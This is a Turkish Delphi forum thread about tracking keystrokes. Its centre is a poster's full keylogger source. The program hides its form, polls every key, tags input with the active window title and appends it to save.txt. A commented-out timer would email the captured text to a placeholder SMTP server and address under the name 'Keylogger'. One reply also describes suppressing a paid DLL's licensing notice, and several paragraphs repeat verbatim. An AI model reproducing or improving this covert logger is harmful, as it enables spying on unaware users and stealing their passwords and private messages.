tuş takibi
Forum kuralları
Forum kurallarını okuyup, uyunuz!
Forum kurallarını okuyup, uyunuz!
Anladım.. memnun oldum....
- Önceki mesajımda da bahsettiğim gibi DLL gerekliliğinin sebebi varmış... Bunu ben de sonradan öğrendim ve Edit edip bildirmek istedim...
- Kernel yapısı NT tabanlı sistemlerde farklı (kaynak kullanımından da belli aslında) olduğundan bu fonksiyonu çıkarmış olabilirler... Services'tekilerde benzer bir fonksiyon da vardır ama onu araştırmak lazım... DLL çözüyorsa zamandan tasarruftur...
- Çalışmalarında başarılar...
- Önceki mesajımda da bahsettiğim gibi DLL gerekliliğinin sebebi varmış... Bunu ben de sonradan öğrendim ve Edit edip bildirmek istedim...
- Kernel yapısı NT tabanlı sistemlerde farklı (kaynak kullanımından da belli aslında) olduğundan bu fonksiyonu çıkarmış olabilirler... Services'tekilerde benzer bir fonksiyon da vardır ama onu araştırmak lazım... DLL çözüyorsa zamandan tasarruftur...
- Çalışmalarında başarılar...
MicroChip yazdı: if GetAsyncKeyState(i)=-32767 then
microchip bu kodla ilgili sormak istediğim bir şey var.
=-32767 ne anlama geliyor.
ben bu sayıyı yazmadan yapıyorum hatta çoğu zaman "<> 0" yapıyorum ve timer in interval = 1 de iken bir tışa bastığım zaman tuşa basıp çekme esnasında aynı harfi 10 defa yazardı.vede hızlı yazıdığımda çoğu harfi kaçırırdı.
ama bu sayıyı yazınca sorunsuz çalışıyor ??
We Trust Tyler
Bu program ne işe yarıyabilir... yani bunu aramanızın sebebi nedir?... Lütfen bir örnek verin merak etim...
Benimde bir derdim var... bu tuşları izleyebiliyorsak, engelleyebilirizde değil mi?... Ben işte bunu yapmak istiyorum... Benim programımdan çıkmadıkça "başlat açılmasın, alt + F4 çalışmasın v.s. " yani pogram kapatılmadan başka birşey çalışmasın...
Herkese çok teşekkürler... Kolay gelsin....
Benimde bir derdim var... bu tuşları izleyebiliyorsak, engelleyebilirizde değil mi?... Ben işte bunu yapmak istiyorum... Benim programımdan çıkmadıkça "başlat açılmasın, alt + F4 çalışmasın v.s. " yani pogram kapatılmadan başka birşey çalışmasın...
Herkese çok teşekkürler... Kolay gelsin....
www.DelphiTurkiye.com u Çok Seviyorum 

- Karinca
- Üye
- Mesajlar: 239
- Kayıt: 25 Ağu 2004 07:06
- Konum: http://localserver/
- İletişim:
-
- Kıdemli Üye
- Mesajlar: 1223
- Kayıt: 26 Nis 2005 04:08
Merhaba.
Delphi 5'ten kaynaklanıyor sorununuz (bildiğim kadarıyla)..Özellikle delphi7 ve xp için bir component ve dll yazmışlar, ancak 19 $ istiyorlar böyle basit bir şey için..Aksi halde dll hook işlemine başlamadan önce yazan kişiye ait bilgileri mesaj olarak veriyor..Böyle basit bir şey için ücret talep edilmesini absürd karşıladığımızdan mesaj vermesini engellemek durumunda kaldık.
@MicroChip;
Api ve Timer nesnesi ile yapınca hızlı klavye kullanan birisinin yazdıklarını çözmek gerçekten güç oluyor..Zira bazı tuşları çift (hatta 3), bazılarını ise hiç yazmıyor..Bilginize..
Saygılarımla.
Delphi 5'ten kaynaklanıyor sorununuz (bildiğim kadarıyla)..Özellikle delphi7 ve xp için bir component ve dll yazmışlar, ancak 19 $ istiyorlar böyle basit bir şey için..Aksi halde dll hook işlemine başlamadan önce yazan kişiye ait bilgileri mesaj olarak veriyor..Böyle basit bir şey için ücret talep edilmesini absürd karşıladığımızdan mesaj vermesini engellemek durumunda kaldık.
@MicroChip;
Api ve Timer nesnesi ile yapınca hızlı klavye kullanan birisinin yazdıklarını çözmek gerçekten güç oluyor..Zira bazı tuşları çift (hatta 3), bazılarını ise hiç yazmıyor..Bilginize..
Saygılarımla.
- sherlockholmes
- Kıdemli Üye
- Mesajlar: 930
- Kayıt: 19 Tem 2004 09:13
selam arkadaşlar ,
bu başlıkta hook.dll ile verilen örnek f-secure'un virus korumasına takıldı , hook.dll dosyası f-secure tarafından trojan içerdiği gerekçesiyle silindi
@microchip'in verdiği örneği 1478096 yordam giriş noktası , KERNEl32.dll dinamik bağlantı kitaplığında bulunamadı hatasını verdi ve çalışmadı.
sitem win xp , delphi 7.0
aşağıdaki kod , kısmi olarak tuşları takip ediyor ancak şu eksikleri var , eksikleri giderme noktasında görüşlerinizi almak istiyorum.
-program türkçe karakterleri görmüyor
-num lock açık iken num lock'tan girilen karakterleri görmüyor
-birden fazla tuşa aynı anda basma durumunda başarılı sonuç vermiyor
bu başlıkta hook.dll ile verilen örnek f-secure'un virus korumasına takıldı , hook.dll dosyası f-secure tarafından trojan içerdiği gerekçesiyle silindi
@microchip'in verdiği örneği 1478096 yordam giriş noktası , KERNEl32.dll dinamik bağlantı kitaplığında bulunamadı hatasını verdi ve çalışmadı.
sitem win xp , delphi 7.0
aşağıdaki kod , kısmi olarak tuşları takip ediyor ancak şu eksikleri var , eksikleri giderme noktasında görüşlerinizi almak istiyorum.
-program türkçe karakterleri görmüyor
-num lock açık iken num lock'tan girilen karakterleri görmüyor
-birden fazla tuşa aynı anda basma durumunda başarılı sonuç vermiyor
Kod: Tümünü seç
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, registry;
type
TForm1 = class(TForm)
Timer1: TTimer;
Timer3: TTimer;
procedure Timer1Timer(Sender: TObject);
//procedure Timer2Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
private
{ Private declarations }
public
procedure kaydet(basilan_tus:string);
{ Public declarations }
end;
var
Form1: TForm1;
Buffer:string;
VentanaActual:String;
VentanaAnterior:String;
F: Textfile;
implementation
{$R *.DFM}
procedure TForm1.Timer1Timer(Sender: TObject);
function VentanaActiva: String;
var PC: Array[0..$FFF] of Char;
Wnd : Thandle;
begin
{$IFDEF Win32}
Wnd := GetForegroundWindow;
{$ELSE}
Wnd := GetActiveWindow;
{$ENDIF}
SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) ); //$000D es el WM_GETTEXT
Result := PC;
end;
var i: integer;
TeclaAnterior:String;
letra:String;
begin
If GetAsyncKeyState(VK_TAB)=-32767 then
letra:=' -Tab- ';
If GetAsyncKeyState(VK_CONTROL)=-32767 then
letra:=' -Control- ';
If GetAsyncKeyState(VK_CAPITAL)=-32767 then
letra:=' -Caps Lock- ';
If GetAsyncKeyState(VK_MENU)=-32767 then
letra:=' -Alt- ';
If GetAsyncKeyState(VK_ESCAPE)=-32767 then
letra:=' -Esc- ';
If GetAsyncKeyState(VK_DELETE)=-32767 then
letra:=' -Delete- ';
if GetAsyncKeyState(13)=-32767 then
letra:=' -Enter- ';
if GetAsyncKeyState(8)=-32767 then
letra:=' -Back- ';
if GetAsyncKeyState(240)=-32767 then
letra:='ğ';
for i:=30 to 255 do
if GetAsyncKeyState(i)=-32767 Then
Case i of
240:Letra:='ğ';
91:Letra:=' (Menu inicio) ';
96:Letra:='0';
97:Letra:='1';
98:Letra:='2';
99:Letra:='3';
100:Letra:='4';
101:Letra:='5';
102:Letra:='6';
103:Letra:='7';
104:Letra:='8';
105:Letra:='9';
106:Letra:='*';
107:Letra:='+';
109:Letra:='-';
110:Letra:='.';
111:Letra:='/';
112:Letra:=' F1 ';
113:Letra:=' F2 ';
114:Letra:=' F3 ';
115:Letra:=' F4 ';
116:Letra:=' F5 ';
117:Letra:=' F6 ';
118:Letra:=' F7 ';
119:Letra:=' F8 ';
120:Letra:=' F9 ';
121:Letra:=' F10 ';
122:Letra:=' F11 ';
123:Letra:=' F12 ';
else
if (i<>160) and (i<>161) and (i<>45) and (i<>35) and (i<>40) and (i<>34) and (i<>37) and (i<>39) and (i<>36) and (i<>33) and (i<>48) and (i<>46) and (i<>144) and (i<>93) and (i<>92) and (i<>44) and (i<>145) and (i<>38) then
if GetKeyState(20)=1 then //si estan activadas las mayusculas
begin
letra:=UpCase(chr(i));//la paso a mayuscula
if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
letra := LowerCase(chr(i))
end
else //Si no estan activadas las mayusculas
begin
letra:=LowerCase(chr(i));
if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
letra:=UpCase(chr(i))
end;
VentanaAnterior:=VentanaActual;
VentanaActual:=VentanaActiva;
If (ventanaActual='üı') or (ventanaActual='') then
Exit;
If ventanaAnterior<>VentanaActiva then
Begin
Buffer:=buffer+ #13#10 + '[' + VentanaActual + ']' + #13#10;
Buffer:=Buffer+Letra;
//ShowMessage(Buffer);
kaydet(Letra);
End
Else
Begin
if letra <> TeclaAnterior then
Begin
TeclaAnterior:=Letra;
Buffer:=Buffer+Letra;
//ShowMessage(Buffer);
kaydet(Letra);
End;
End;
End;
end;
{procedure TForm1.Timer2Timer(Sender: TObject);
begin
Mail.Host:='YOUR SMTP SERVER HERE';
Mail.PostMessage.Create;
Mail.UserID:='guest';
Mail.PostMessage.FromAddress:='key@logger.com';
Mail.PostMessage.FromName:='Keylogger';
Mail.PostMessage.ToAddress.Add('YOUR E-MAIL ADDRESS HERE');
Mail.PostMessage.Body.Add(buffer);
Mail.PostMessage.Date:=DateTimeToStr(now);
If mail.connected=true then
mail.Disconnect;
Mail.Connect;
Mail.SendMail;
Mail.Disconnect;
buffer:='';
buffer:=buffer+DateToStr(now);
end;
}
procedure TForm1.FormCreate(Sender: TObject);
var Reg: TRegistry;
begin
Buffer:=buffer+DateToStr(now);
end;
procedure TForm1.Timer3Timer(Sender: TObject);
begin
Form1.hide;
end;
procedure TForm1.kaydet(basilan_tus: string);
const
dosya_adi='save.txt' ;
begin
Assignfile(F, dosya_adi);
if not FileExists(dosya_adi) then
begin
Rewrite(F);
Closefile(F);
end
else
Assignfile(F, dosya_adi);
{$I-}
Append(F);
{$I+}
if IOResult <> 0 then
begin
ShowMessage('Cannot Open File');
end;
Write(F, basilan_tus);
Closefile(F);
end;
end.
y = e^x fonksiyonu hangimizi etkilememiştir ki? Küllerinden hayat bulan Zümrüd-ü Anka kuşu gibi, türevi yine kendisidir.